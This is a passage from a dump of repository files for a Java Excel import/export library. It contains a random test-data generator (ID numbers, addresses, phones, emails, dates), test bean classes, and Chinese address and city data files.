new ArrayList<String>();\n\t\tareaList.addAll(areaNos);\n\t\tString area = areaList.get((int)randomNumber(areaList.size() - 1));\n\t\twhile (area.length() != 6){\n\t\t\tarea = areaList.get((int)randomNumber(areaList.size() - 1));\n\t\t}\n\t\treturn idcard(area);\n\t}\n\t/**\n\t *\n\t * 功能:随机生成地址<br/>\n\t * 创建时间:2016-4-16下午6:19:14<br/>\n\t * 作者：sanri<br/>\n\t * 入参说明:<br/>\n\t * 出参说明：<br/>\n\t * @return<br/>\n\t */\n\t@SuppressWarnings({ \"unchecked\", \"rawtypes\" })\n\tpublic static String address(){\n\t\tList<Map> cityList = (List<Map>) CITY_LIST.get(\"citylist\");\n\t\tMap provinceEntry = cityList.get((int)randomNumber(cityList.size() - 1));\n\t\tString province = String.valueOf(provinceEntry.get(\"p\"));\n\t\tList<Map> city = (List<Map>) provinceEntry.get(\"c\");\n\t\tMap areaEntry = city.get((int)randomNumber(city.size() - 1));\n\t\tString area = String.valueOf(areaEntry.get(\"n\"));\n\t\tList<Map> area2 = (List<Map>) areaEntry.get(\"a\");\n\t\tString s = \"\";\n\t\tif(area2 != null){\n\t\t\tMap cityEntry = area2.get((int)randomNumber(area2.size() - 1));\n\t\t\ts = String.valueOf(cityEntry.get(\"s\"));\n\t\t}\n\t\treturn province + area + s + ADDRESS_LIST[(int)randomNumber(ADDRESS_LIST.length - 1)];\n\t}\n\t/**\n\t *\n\t * 功能:随机邮件地址,length 指 用户名长度<br/>\n\t * 创建时间:2016-9-24下午6:11:54<br/>\n\t * 作者：sanri<br/>\n\t */\n\tpublic static String email(int length){\n\t\treturn randomAlphanumeric(length)+EMAIL_SUFFIX[(int)randomNumber(EMAIL_SUFFIX.length - 1)];\n\t}\n\n\t/**\n\t * 随机职业\n\t * @return\n\t */\n\tpublic static String job(){\n\t\treturn JOBS[(int)randomNumber(JOBS.length - 1)];\n\t}\n\t/**\n\t * 生成手机号\n\t * @param segment\n\t * @return\n\t */\n\tpublic static String phone(String segment){\n\t\tif(StringUtils.isBlank(segment)){\n\t\t\treturn phone();\n\t\t}\n\t\tint length = segment.length();\n\t\tint randomLength = 11 - length;\n\t\tString randomNumeric = randomNumeric(randomLength);\n\t\treturn segment+randomNumeric;\n\t}\n\n\t/**\n\t * 随机前缀手机号\n\t * @return\n\t */\n\tpublic static String phone(){\n\t\tString segment = PHONE_SEGMENT[(int)randomNumber(PHONE_SEGMENT.length - 1)];\n\t\treturn phone(segment);\n\t}\n\n\t/**\n\t * 生成一个随机日期\n\t * @param begin\n\t * @param end\n\t * @return\n\t */\n\tpublic static Date date(Date begin ,Date end){\n\t\tif(begin == null || end == null || end.before(begin)){\n\t\t\tthrow new IllegalArgumentException(\"请传入正确数据\");\n\t\t}\n\t\tlong minus = end.getTime() - begin.getTime();\n\t\tlong computedMinus = RandomUtils.nextLong(0, minus);\n\t\tlong computedDateTime = begin.getTime() + computedMinus;\n\t\treturn new Date(computedDateTime);\n\t}\n\n\t/**\n\t * 随机日期\n\t * @return\n\t */\n\tpublic static Date date(){\n\t\treturn date(new Date(0L),new Date());\n\t}\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_excel/doc/sanri-excel-poi/src/test/java/vo/ConverterBean.java",
    "content": "package vo;\n\nimport com.sanri.excel.poi.annotation.ExcelColumn;\nimport com.sanri.excel.poi.annotation.ExcelExport;\nimport com.sanri.excel.poi.converter.DefaultBooleanStringConverter;\n\n@ExcelExport\npublic class ConverterBean {\n    @ExcelColumn(value = \"是否成功\",order = 0,converter = DefaultBooleanStringConverter.class)\n    private boolean success;\n    @ExcelColumn(value = \"性别\",order = 1,converter = GenderConverter.class)\n    private int gender;\n\n    public ConverterBean() {\n    }\n\n    public ConverterBean(boolean success) {\n        this.success = success;\n    }\n\n    public ConverterBean(boolean success, int gender) {\n        this.success = success;\n        this.gender = gender;\n    }\n\n    public boolean isSuccess() {\n        return success;\n    }\n\n    public void setSuccess(boolean success) {\n        this.success = success;\n    }\n\n    public int getGender() {\n        return gender;\n    }\n\n    public void setGender(int gender) {\n        this.gender = gender;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_excel/doc/sanri-excel-poi/src/test/java/vo/ExtendSimple.java",
    "content": "package vo;\n\nimport com.sanri.excel.poi.annotation.ExcelColumn;\nimport com.sanri.excel.poi.annotation.ExcelExport;\nimport com.sanri.excel.poi.annotation.ExcelImport;\n\nimport java.util.Date;\n\n/**\n * 测试继承类是否能够正确导出\n */\n@ExcelExport\n@ExcelImport(startRow = 1)\npublic class ExtendSimple extends Simple{\n    @ExcelColumn(value = \"身份证号\",order = 8)\n    private String idcard;\n\n    public ExtendSimple() {\n    }\n\n    public ExtendSimple(int age, Integer level, String name, Date birthday, long id, boolean success, double money, float comm, String idcard) {\n        super(age, level, name, birthday, id, success, money, comm);\n        this.idcard = idcard;\n    }\n\n    public ExtendSimple(Simple simple) {\n        this(simple.getAge(),simple.getLevel(),simple.getName(),simple.getBirthday(),simple.getId(),simple.isSuccess(),simple.getMoney(),simple.getComm(),null);\n    }\n\n    public String getIdcard() {\n        return idcard;\n    }\n\n    public void setIdcard(String idcard) {\n        this.idcard = idcard;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_excel/doc/sanri-excel-poi/src/test/java/vo/GenderConverter.java",
    "content": "package vo;\n\nimport com.sanri.excel.poi.converter.ExcelConverter;\n\npublic class GenderConverter implements ExcelConverter<Integer,String> {\n    @Override\n    public String convert(Integer source) {\n        return source == 1 ? \"男\":\"女\";\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_excel/doc/sanri-excel-poi/src/test/java/vo/Simple.java",
    "content": "package vo;\n\nimport com.sanri.excel.poi.annotation.ExcelColumn;\nimport com.sanri.excel.poi.annotation.ExcelExport;\nimport com.sanri.excel.poi.annotation.ExcelImport;\n\nimport java.util.Date;\n\n/**\n * 用于测试各种类型是否正常展示\n */\n@ExcelExport\n@ExcelImport(startRow = 1)\npublic class Simple {\n    @ExcelColumn(value = \"年龄\",order = 2)\n    private int age;\n    @ExcelColumn(value = \"级别\",order = 1)\n    private Integer level;\n    @ExcelColumn(value = \"姓名\",order = 0,chineseWidth = true)\n    private String name;\n    @ExcelColumn(value = \"生日\",order = 3)\n    private Date birthday;\n    @ExcelColumn(value = \"序号\",order = 4,hidden = true)\n    private long id;\n    @ExcelColumn(value = \"是否成功\",order = 5)\n    private boolean success;\n    @ExcelColumn(value = \"薪水\",order = 6,precision = 2)\n    private double money;\n    @ExcelColumn(value = \"奖金\",order = 7,precision = 2)\n    private float comm;\n\n    public Simple() {\n    }\n\n    public Simple(int age, Integer level, String name, Date birthday, long id, boolean success, double money, float comm) {\n        this.age = age;\n        this.level = level;\n        this.name = name;\n        this.birthday = birthday;\n        this.id = id;\n        this.success = success;\n        this.money = money;\n        this.comm = comm;\n    }\n\n    public int getAge() {\n        return age;\n    }\n\n    public Integer getLevel() {\n        return level;\n    }\n\n    public String getName() {\n        return name;\n    }\n\n    public Date getBirthday() {\n        return birthday;\n    }\n\n    public long getId() {\n        return id;\n    }\n\n    public boolean isSuccess() {\n        return success;\n    }\n\n    public double getMoney() {\n        return money;\n    }\n\n    public float getComm() {\n        return comm;\n    }\n\n    public void setAge(int age) {\n        this.age = age;\n    }\n\n    public void setLevel(Integer level) {\n        this.level = level;\n    }\n\n    public void setName(String name) {\n        this.name = name;\n    }\n\n    public void setBirthday(Date birthday) {\n        this.birthday = birthday;\n    }\n\n    public void setId(long id) {\n        this.id = id;\n    }\n\n    public void setSuccess(boolean success) {\n        this.success = success;\n    }\n\n    public void setMoney(double money) {\n        this.money = money;\n    }\n\n    public void setComm(float comm) {\n        this.comm = comm;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_excel/doc/sanri-excel-poi/src/test/test-resources/data/address.string",
    "content": "重庆大厦,黑龙江路,十梅庵街,遵义路,湘潭街,瑞金广场,仙山街,仙山东路,仙山西大厦,白沙河路,赵红广场,机场路,民航街,长城南路,流亭立交桥,虹桥广场,长城大厦,礼阳路,风岗街,中川路,白塔广场,兴阳路,文阳街,绣城路,河城大厦,锦城广场,崇阳街,华城路,康城街,正阳路,和阳广场,中城路,江城大厦,顺城路,安城街,山城广场,春城街,国城路,泰城街,德阳路,明阳大厦,春阳路,艳阳街,秋阳路,硕阳街,青威高速,瑞阳街,丰海路,双元大厦,惜福镇街道,夏庄街道,古庙工业园,中山街,太平路,广西街,潍县广场,博山大厦,湖南路,济宁街,芝罘路,易州广场,荷泽四路,荷泽二街,荷泽一路,荷泽三大厦,观海二广场,广西支街,观海一路,济宁支街,莒县路,平度广场,明水路,蒙阴大厦,青岛路,湖北街,江宁广场,郯城街,天津路,保定街,安徽路,河北大厦,黄岛路,北京街,莘县路,济南街,宁阳广场,日照街,德县路,新泰大厦,荷泽路,山西广场,沂水路,肥城街,兰山路,四方街,平原广场,泗水大厦,浙江路,曲阜街,寿康路,河南广场,泰安路,大沽街,红山峡支路,西陵峡一大厦,台西纬一广场,台西纬四街,台西纬二路,西陵峡二街,西陵峡三路,台西纬三广场,台西纬五路,明月峡大厦,青铜峡路,台西二街,观音峡广场,瞿塘峡街,团岛二路,团岛一街,台西三路,台西一大厦,郓城南路,团岛三街,刘家峡路,西藏二街,西藏一广场,台西四街,三门峡路,城武支大厦,红山峡路,郓城北广场,龙羊峡路,西陵峡街,台西五路,团岛四街,石村广场,巫峡大厦,四川路,寿张街,嘉祥路,南村广场,范县路,西康街,云南路,巨野大厦,西江广场,鱼台街,单县路,定陶街,滕县路,钜野广场,观城路,汶上大厦,朝城路,滋阳街,邹县广场,濮县街,磁山路,汶水街,西藏路,城武大厦,团岛路,南阳街,广州路,东平街,枣庄广场,贵州街,费县路,南海大厦,登州路,文登广场,信号山支路,延安一街,信号山路,兴安支街,福山支广场,红岛支大厦,莱芜二路,吴县一街,金口三路,金口一广场,伏龙山路,鱼山支街,观象二路,吴县二大厦,莱芜一广场,金口二街,海阳路,龙口街,恒山路,鱼山广场,掖县路,福山大厦,红岛路,常州街,大学广场,龙华街,齐河路,莱阳街,黄县路,张店大厦,祚山路,苏州街,华山路,伏龙街,江苏广场,龙江街,王村路,琴屿大厦,齐东路,京山广场,龙山路,牟平街,延安三路,延吉街,南京广场,东海东大厦,银川西路,海口街,山东路,绍兴广场,芝泉路,东海中街,宁夏路,香港西大厦,隆德广场,扬州街,郧阳路,太平角一街,宁国二支路,太平角二广场,天台东一路,太平角三大厦,漳州路一路,漳州街二街,宁国一支广场,太平角六街,太平角四路,天台东二街,太平角五路,宁国三大厦,澳门三路,江西支街,澳门二路,宁国四街,大尧一广场,咸阳支街,洪泽湖路,吴兴二大厦,澄海三路,天台一广场,新湛二路,三明北街,新湛支路,湛山五街,泰州三广场,湛山四大厦,闽江三路,澳门四街,南海支路,吴兴三广场,三明南路,湛山二街,二轻新村镇,江南大厦,吴兴一广场,珠海二街,嘉峪关路,高邮湖街,湛山三路,澳门六广场,泰州二路,东海一大厦,天台二路,微山湖街,洞庭湖广场,珠海支街,福州南路,澄海二街,泰州四路,香港中大厦,澳门五路,新湛三街,澳门一路,正阳关街,宁武关广场,闽江四街,新湛一路,宁国一大厦,王家麦岛,澳门七广场,泰州一路,泰州六街,大尧二路,青大一街,闽江二广场,闽江一大厦,屏东支路,湛山一街,东海西路,徐家麦岛函谷关广场,大尧三路,晓望支街,秀湛二路,逍遥三大厦,澳门九广场,泰州五街,澄海一路,澳门八街,福州北路,珠海一广场,宁国二路,临淮关大厦,燕儿岛路,紫荆关街,武胜关广场,逍遥一街,秀湛四路,居庸关街,山海关路,鄱阳湖大厦,新湛路,漳州街,仙游路,花莲街,乐清广场,巢湖街,台南路,吴兴大厦,新田路,福清广场,澄海路,莆田街,海游路,镇江街,石岛广场,宜兴大厦,三明路,仰口街,沛县路,漳浦广场,大麦岛,台湾街,天台路,金湖大厦,高雄广场,海江街,岳阳路,善化街,荣成路,澳门广场,武昌路,闽江大厦,台北路,龙岩街,咸阳广场,宁德街,龙泉路,丽水街,海川路,彰化大厦,金田路,泰州街,太湖路,江西街,泰兴广场,青大街,金门路,南通大厦,旌德路,汇泉广场,宁国路,泉州街,如东路,奉化街,鹊山广场,莲岛大厦,华严路,嘉义街,古田路,南平广场,秀湛路,长汀街,湛山路,徐州大厦,丰县广场,汕头街,新竹路,黄海街,安庆路,基隆广场,韶关路,云霄大厦,新安路,仙居街,屏东广场,晓望街,海门路,珠海街,上杭路,永嘉大厦,漳平路,盐城街,新浦路,新昌街,高田广场,市场三街,金乡东路,市场二大厦,上海支路,李村支广场,惠民南路,市场纬街,长安南路,陵县支街,冠县支广场,小港一大厦,市场一路,小港二街,清平路,广东广场,新疆路,博平街,港通路,小港沿,福建广场,高唐街,茌平路,港青街,高密路,阳谷广场,平阴路,夏津大厦,邱县路,渤海街,恩县广场,旅顺街,堂邑路,李村街,即墨路,港华大厦,港环路,馆陶街,普集路,朝阳街,甘肃广场,港夏街,港联路,陵县大厦,上海路,宝山广场,武定路,长清街,长安路,惠民街,武城广场,聊城大厦,海泊路,沧口街,宁波路,胶州广场,莱州路,招远街,冠县路,六码头,金乡广场,禹城街,临清路,东阿街,吴淞路,大港沿,辽宁路,棣纬二大厦,大港纬一路,贮水山支街,无棣纬一广场,大港纬三街,大港纬五路,大港纬四街,大港纬二路,无棣二大厦,吉林支路,大港四街,普集支路,无棣三街,黄台支广场,大港三街,无棣一路,贮水山大厦,泰山支路,大港一广场,无棣四路,大连支街,大港二路,锦州支街,德平广场,高苑大厦,长山路,乐陵街,临邑路,嫩江广场,合江路,大连街,博兴路,蒲台大厦,黄台广场,城阳街,临淄路,安邱街,临朐路,青城广场,商河路,热河大厦,济阳路,承德街,淄川广场,辽北街,阳信路,益都街,松江路,流亭大厦,吉林路,恒台街,包头路,无棣街,铁山广场,锦州街,桓台路,兴安大厦,邹平路,胶东广场,章丘路,丹东街,华阳路,青海街,泰山广场,周村大厦,四平路,台东西七街,台东东二路,台东东七广场,台东西二路,东五街,云门二路,芙蓉山村,延安二广场,云门一街,台东四路,台东一街,台东二路,杭州支广场,内蒙古路,台东七大厦,台东六路,广饶支街,台东八广场,台东三街,四平支路,郭口东街,青海支路,沈阳支大厦,菜市二路,菜市一街,北仲三路,瑞云街,滨县广场,庆祥街,万寿路,大成大厦,芙蓉路,历城广场,大名路,昌平街,平定路,长兴街,浦口广场,诸城大厦,和兴路,德盛街,宁海路,威海广场,东山路,清和街,姜沟路,雒口大厦,松山广场,长春街,昆明路,顺兴街,利津路,阳明广场,人和路,郭口大厦,营口路,昌邑街,孟庄广场,丰盛街,埕口路,丹阳街,汉口路,洮南大厦,桑梓路,沾化街,山口路,沈阳街,南口广场,振兴街,通化路,福寺大厦,峄县路,寿光广场,曹县路,昌乐街,道口路,南九水街,台湛广场,东光大厦,驼峰路,太平山,标山路,云溪广场,太清路"
  },
  {
    "path": "jun_java_plugins/jun_excel/doc/sanri-excel-poi/src/test/test-resources/data/city.min.json",
    "content": "{\"citylist\":[{\"p\":\"北京市\",\"c\":[{\"n\":\"东城区\"},{\"n\":\"西城区\"},{\"n\":\"崇文区\"},{\"n\":\"宣武区\"},{\"n\":\"朝阳区\"},{\"n\":\"丰台区\"},{\"n\":\"石景山区\"},{\"n\":\"海淀区\"},{\"n\":\"门头沟区\"},{\"n\":\"房山区\"},{\"n\":\"通州区\"},{\"n\":\"顺义区\"},{\"n\":\"昌平区\"},{\"n\":\"大兴区\"},{\"n\":\"平谷区\"},{\"n\":\"怀柔区\"},{\"n\":\"密云县\"},{\"n\":\"延庆县\"}]},{\"p\":\"天津市\",\"c\":[{\"n\":\"和平区\"},{\"n\":\"河东区\"},{\"n\":\"河西区\"},{\"n\":\"南开区\"},{\"n\":\"河北区\"},{\"n\":\"红挢区\"},{\"n\":\"滨海新区\"},{\"n\":\"东丽区\"},{\"n\":\"西青区\"},{\"n\":\"津南区\"},{\"n\":\"北辰区\"},{\"n\":\"宁河区\"},{\"n\":\"武清区\"},{\"n\":\"静海县\"},{\"n\":\"宝坻区\"},{\"n\":\"蓟县\"}]},{\"p\":\"河北省\",\"c\":[{\"n\":\"石家庄\",\"a\":[{\"s\":\"长安区\"},{\"s\":\"桥东区\"},{\"s\":\"桥西区\"},{\"s\":\"新华区\"},{\"s\":\"井陉矿区\"},{\"s\":\"裕华区\"},{\"s\":\"井陉县\"},{\"s\":\"正定县\"},{\"s\":\"栾城县\"},{\"s\":\"行唐县\"},{\"s\":\"灵寿县\"},{\"s\":\"高邑县\"},{\"s\":\"深泽县\"},{\"s\":\"赞皇县\"},{\"s\":\"无极县\"},{\"s\":\"平山县\"},{\"s\":\"元氏县\"},{\"s\":\"赵县\"},{\"s\":\"辛集市\"},{\"s\":\"藁城市\"},{\"s\":\"晋州市\"},{\"s\":\"新乐市\"},{\"s\":\"鹿泉市\"}]},{\"n\":\"唐山\",\"a\":[{\"s\":\"路南区\"},{\"s\":\"路北区\"},{\"s\":\"古冶区\"},{\"s\":\"开平区\"},{\"s\":\"丰南区\"},{\"s\":\"丰润区\"},{\"s\":\"滦县\"},{\"s\":\"滦南县\"},{\"s\":\"乐亭县\"},{\"s\":\"迁西县\"},{\"s\":\"玉田县\"},{\"s\":\"唐海县\"},{\"s\":\"遵化市\"},{\"s\":\"迁安市\"}]},{\"n\":\"秦皇岛\",\"a\":[{\"s\":\"海港区\"},{\"s\":\"山海关区\"},{\"s\":\"北戴河区\"},{\"s\":\"青龙满族自治县\"},{\"s\":\"昌黎县\"},{\"s\":\"抚宁县\"},{\"s\":\"卢龙县\"}]},{\"n\":\"邯郸\",\"a\":[{\"s\":\"邯山区\"},{\"s\":\"丛台区\"},{\"s\":\"复兴区\"},{\"s\":\"峰峰矿区\"},{\"s\":\"邯郸县\"},{\"s\":\"临漳县\"},{\"s\":\"成安县\"},{\"s\":\"大名县\"},{\"s\":\"涉县\"},{\"s\":\"磁县\"},{\"s\":\"肥乡县\"},{\"s\":\"永年县\"},{\"s\":\"邱县\"},{\"s\":\"鸡泽县\"},{\"s\":\"广平县\"},{\"s\":\"馆陶县\"},{\"s\":\"魏县\"},{\"s\":\"曲周县\"},{\"s\":\"武安市\"}]},{\"n\":\"邢台\",\"a\":[{\"s\":\"桥东区\"},{\"s\":\"桥西区\"},{\"s\":\"邢台县\"},{\"s\":\"临城县\"},{\"s\":\"内丘县\"},{\"s\":\"柏乡县\"},{\"s\":\"隆尧县\"},{\"s\":\"任县\"},{\"s\":\"南和县\"},{\"s\":\"宁晋县\"},{\"s\":\"巨鹿县\"},{\"s\":\"新河县\"},{\"s\":\"广宗县\"},{\"s\":\"平乡县\"},{\"s\":\"威县\"},{\"s\":\"清河县\"},{\"s\":\"临西县\"},{\"s\":\"南宫市\"},{\"s\":\"沙河市\"}]},{\"n\":\"保定\",\"a\":[{\"s\":\"新市区\"},{\"s\":\"北市区\"},{\"s\":\"南市区\"},{\"s\":\"满城县\"},{\"s\":\"清苑县\"},{\"s\":\"涞水县\"},{\"s\":\"阜平县\"},{\"s\":\"徐水县\"},{\"s\":\"定兴县\"},{\"s\":\"唐县\"},{\"s\":\"高阳县\"},{\"s\":\"容城县\"},{\"s\":\"涞源县\"},{\"s\":\"望都县\"},{\"s\":\"安新县\"},{\"s\":\"易县\"},{\"s\":\"曲阳县\"},{\"s\":\"蠡县\"},{\"s\":\"顺平县\"},{\"s\":\"博野县\"},{\"s\":\"雄县\"},{\"s\":\"涿州市\"},{\"s\":\"定州市\"},{\"s\":\"安国市\"},{\"s\":\"高碑店市\"}]},{\"n\":\"张家口\",\"a\":[{\"s\":\"桥东区\"},{\"s\":\"桥西区\"},{\"s\":\"宣化区\"},{\"s\":\"下花园区\"},{\"s\":\"宣化县\"},{\"s\":\"张北县\"},{\"s\":\"康保县\"},{\"s\":\"沽源县\"},{\"s\":\"尚义县\"},{\"s\":\"蔚县\"},{\"s\":\"阳原县\"},{\"s\":\"怀安县\"},{\"s\":\"万全县\"},{\"s\":\"怀来县\"},{\"s\":\"涿鹿县\"},{\"s\":\"赤城县\"},{\"s\":\"崇礼县\"}]},{\"n\":\"承德\",\"a\":[{\"s\":\"双桥区\"},{\"s\":\"双滦区\"},{\"s\":\"鹰手营子矿区\"},{\"s\":\"承德县\"},{\"s\":\"兴隆县\"},{\"s\":\"平泉县\"},{\"s\":\"滦平县\"},{\"s\":\"隆化县\"},{\"s\":\"丰宁满族自治县\"},{\"s\":\"宽城满族自治县\"},{\"s\":\"围场满族蒙古族自治县\"}]},{\"n\":\"沧州\",\"a\":[{\"s\":\"新华区\"},{\"s\":\"运河区\"},{\"s\":\"沧县\"},{\"s\":\"青县\"},{\"s\":\"东光县\"},{\"s\":\"海兴县\"},{\"s\":\"盐山县\"},{\"s\":\"肃宁县\"},{\"s\":\"南皮县\"},{\"s\":\"吴桥县\"},{\"s\":\"献县\"},{\"s\":\"孟村回族自治县\"},{\"s\":\"泊头市\"},{\"s\":\"任丘市\"},{\"s\":\"黄骅市\"},{\"s\":\"河间市\"}]},{\"n\":\"廊坊\",\"a\":[{\"s\":\"安次区\"},{\"s\":\"广阳区\"},{\"s\":\"固安县\"},{\"s\":\"永清县\"},{\"s\":\"香河县\"},{\"s\":\"大城县\"},{\"s\":\"文安县\"},{\"s\":\"大厂回族自治县\"},{\"s\":\"霸州市\"},{\"s\":\"三河市\"}]},{\"n\":\"衡水\",\"a\":[{\"s\":\"桃城区\"},{\"s\":\"枣强县\"},{\"s\":\"武邑县\"},{\"s\":\"武强县\"},{\"s\":\"饶阳县\"},{\"s\":\"安平县\"},{\"s\":\"故城县\"},{\"s\":\"景县\"},{\"s\":\"阜城县\"},{\"s\":\"冀州市\"},{\"s\":\"深州市\"}]}]},{\"p\":\"山西省\",\"c\":[{\"n\":\"太原\",\"a\":[{\"s\":\"小店区\"},{\"s\":\"迎泽区\"},{\"s\":\"杏花岭区\"},{\"s\":\"尖草坪区\"},{\"s\":\"万柏林区\"},{\"s\":\"晋源区\"},{\"s\":\"清徐县\"},{\"s\":\"阳曲县\"},{\"s\":\"娄烦县\"},{\"s\":\"古交市\"}]},{\"n\":\"大同\",\"a\":[{\"s\":\"城区\"},{\"s\":\"矿区\"},{\"s\":\"南郊区\"},{\"s\":\"新荣区\"},{\"s\":\"阳高县\"},{\"s\":\"天镇县\"},{\"s\":\"广灵县\"},{\"s\":\"灵丘县\"},{\"s\":\"浑源县\"},{\"s\":\"左云县\"},{\"s\":\"大同县\"}]},{\"n\":\"阳泉\",\"a\":[{\"s\":\"城区\"},{\"s\":\"矿区\"},{\"s\":\"郊区\"},{\"s\":\"平定县\"},{\"s\":\"盂县\"}]},{\"n\":\"长治\",\"a\":[{\"s\":\"城区\"},{\"s\":\"郊区\"},{\"s\":\"长治县\"},{\"s\":\"襄垣县\"},{\"s\":\"屯留县\"},{\"s\":\"平顺县\"},{\"s\":\"黎城县\"},{\"s\":\"壶关县\"},{\"s\":\"长子县\"},{\"s\":\"武乡县\"},{\"s\":\"沁县\"},{\"s\":\"沁源县\"},{\"s\":\"潞城市\"}]},{\"n\":\"晋城\",\"a\":[{\"s\":\"城区\"},{\"s\":\"沁水县\"},{\"s\":\"阳城县\"},{\"s\":\"陵川县\"},{\"s\":\"泽州县\"},{\"s\":\"高平市\"}]},{\"n\":\"朔州\",\"a\":[{\"s\":\"朔城区\"},{\"s\":\"平鲁区\"},{\"s\":\"山阴县\"},{\"s\":\"应县\"},{\"s\":\"右玉县\"},{\"s\":\"怀仁县\"}]},{\"n\":\"晋中\",\"a\":[{\"s\":\"榆次区\"},{\"s\":\"榆社县\"},{\"s\":\"左权县\"},{\"s\":\"和顺县\"},{\"s\":\"昔阳县\"},{\"s\":\"寿阳县\"},{\"s\":\"太谷县\"},{\"s\":\"祁县\"},{\"s\":\"平遥县\"},{\"s\":\"灵石县\"},{\"s\":\"介休市\"}]},{\"n\":\"运城\",\"a\":[{\"s\":\"盐湖区\"},{\"s\":\"临猗县\"},{\"s\":\"万荣县\"},{\"s\":\"闻喜县\"},{\"s\":\"稷山县\"},{\"s\":\"新绛县\"},{\"s\":\"绛县\"},{\"s\":\"垣曲县\"},{\"s\":\"夏县\"},{\"s\":\"平陆县\"},{\"s\":\"芮城县\"},{\"s\":\"永济市\"},{\"s\":\"河津市\"}]},{\"n\":\"忻州\",\"a\":[{\"s\":\"忻府区\"},{\"s\":\"定襄县\"},{\"s\":\"五台县\"},{\"s\":\"代县\"},{\"s\":\"繁峙县\"},{\"s\":\"宁武县\"},{\"s\":\"静乐县\"},{\"s\":\"神池县\"},{\"s\":\"五寨县\"},{\"s\":\"岢岚县\"},{\"s\":\"河曲县\"},{\"s\":\"保德县\"},{\"s\":\"偏关县\"},{\"s\":\"原平市\"}]},{\"n\":\"临汾\",\"a\":[{\"s\":\"尧都区\"},{\"s\":\"曲沃县\"},{\"s\":\"翼城县\"},{\"s\":\"襄汾县\"},{\"s\":\"洪洞县\"},{\"s\":\"古县\"},{\"s\":\"安泽县\"},{\"s\":\"浮山县\"},{\"s\":\"吉县\"},{\"s\":\"乡宁县\"},{\"s\":\"大宁县\"},{\"s\":\"隰县\"},{\"s\":\"永和县\"},{\"s\":\"蒲县\"},{\"s\":\"汾西县\"},{\"s\":\"侯马市\"},{\"s\":\"霍州市\"}]},{\"n\":\"吕梁\",\"a\":[{\"s\":\"离石区\"},{\"s\":\"文水县\"},{\"s\":\"交城县\"},{\"s\":\"兴县\"},{\"s\":\"临县\"},{\"s\":\"柳林县\"},{\"s\":\"石楼县\"},{\"s\":\"岚县\"},{\"s\":\"方山县\"},{\"s\":\"中阳县\"},{\"s\":\"交口县\"},{\"s\":\"孝义市\"},{\"s\":\"汾阳市\"}]}]},{\"p\":\"内蒙古\",\"c\":[{\"n\":\"呼和浩特\",\"a\":[{\"s\":\"新城区\"},{\"s\":\"回民区\"},{\"s\":\"玉泉区\"},{\"s\":\"玉泉区\"},{\"s\":\"赛罕区\"},{\"s\":\"土默特左旗\"},{\"s\":\"托克托县\"},{\"s\":\"和林格尔县\"},{\"s\":\"清水河县\"},{\"s\":\"武川县\"}]},{\"n\":\"包头\",\"a\":[{\"s\":\"东河区\"},{\"s\":\"昆都仑区\"},{\"s\":\"青山区\"},{\"s\":\"石拐区\"},{\"s\":\"白云矿区\"},{\"s\":\"九原区\"},{\"s\":\"土默特右旗\"},{\"s\":\"固阳县\"},{\"s\":\"达尔罕茂明安联合旗\"}]},{\"n\":\"乌海\",\"a\":[{\"s\":\"海勃湾区\"},{\"s\":\"海南区\"},{\"s\":\"乌达区\"}]},{\"n\":\"赤峰\",\"a\":[{\"s\":\"红山区\"},{\"s\":\"元宝山区\"},{\"s\":\"松山区\"},{\"s\":\"阿鲁科尔沁旗\"},{\"s\":\"巴林左旗\"},{\"s\":\"巴林右旗\"},{\"s\":\"林西县\"},{\"s\":\"克什克腾旗\"},{\"s\":\"翁牛特旗\"},{\"s\":\"喀喇沁旗\"},{\"s\":\"宁城县\"},{\"s\":\"敖汉旗\"}]},{\"n\":\"通辽\",\"a\":[{\"s\":\"科尔沁区\"},{\"s\":\"科尔沁左翼中旗\"},{\"s\":\"科尔沁左翼后旗\"},{\"s\":\"开鲁县\"},{\"s\":\"库伦旗\"},{\"s\":\"奈曼旗\"},{\"s\":\"扎鲁特旗\"},{\"s\":\"霍林郭勒市\"}]},{\"n\":\"鄂尔多斯\",\"a\":[{\"s\":\"东胜区\"},{\"s\":\"达拉特旗\"},{\"s\":\"准格尔旗\"},{\"s\":\"鄂托克前旗\"},{\"s\":\"鄂托克旗\"},{\"s\":\"杭锦旗\"},{\"s\":\"乌审旗\"},{\"s\":\"伊金霍洛旗\"}]},{\"n\":\"呼伦贝尔\",\"a\":[{\"s\":\"海拉尔区\"},{\"s\":\"阿荣旗\"},{\"s\":\"莫力达瓦达斡尔族自治旗\"},{\"s\":\"鄂伦春自治旗\"},{\"s\":\"鄂温克族自治旗\"},{\"s\":\"陈巴尔虎旗\"},{\"s\":\"新巴尔虎左旗\"},{\"s\":\"新巴尔虎右旗\"},{\"s\":\"满洲里市\"},{\"s\":\"牙克石市\"},{\"s\":\"扎兰屯市\"},{\"s\":\"额尔古纳市\"},{\"s\":\"根河市\"}]},{\"n\":\"巴彦淖尔\",\"a\":[{\"s\":\"临河区\"},{\"s\":\"五原县\"},{\"s\":\"磴口县\"},{\"s\":\"乌拉特前旗\"},{\"s\":\"乌拉特中旗\"},{\"s\":\"乌拉特后旗\"},{\"s\":\"杭锦后旗\"}]},{\"n\":\"乌兰察布\",\"a\":[{\"s\":\"集宁区\"},{\"s\":\"卓资县\"},{\"s\":\"化德县\"},{\"s\":\"商都县\"},{\"s\":\"兴和县\"},{\"s\":\"凉城县\"},{\"s\":\"察哈尔右翼前旗\"},{\"s\":\"察哈尔右翼中旗\"},{\"s\":\"察哈尔右翼后旗\"},{\"s\":\"四子王旗\"},{\"s\":\"丰镇市\"}]},{\"n\":\"兴安\",\"a\":[{\"s\":\"乌兰浩特市\"},{\"s\":\"阿尔山市\"},{\"s\":\"科尔沁右翼前旗\"},{\"s\":\"科尔沁右翼中旗\"},{\"s\":\"扎赉特旗\"},{\"s\":\"突泉县\"}]},{\"n\":\"锡林郭勒\",\"a\":[{\"s\":\"二连浩特市\"},{\"s\":\"锡林浩特市\"},{\"s\":\"阿巴嘎旗\"},{\"s\":\"苏尼特左旗\"},{\"s\":\"苏尼特右旗\"},{\"s\":\"东乌珠穆沁旗\"},{\"s\":\"西乌珠穆沁旗\"},{\"s\":\"太仆寺旗\"},{\"s\":\"镶黄旗\"},{\"s\":\"正镶白旗\"},{\"s\":\"正蓝旗\"},{\"s\":\"多伦县\"}]},{\"n\":\"阿拉善\",\"a\":[{\"s\":\"阿拉善左旗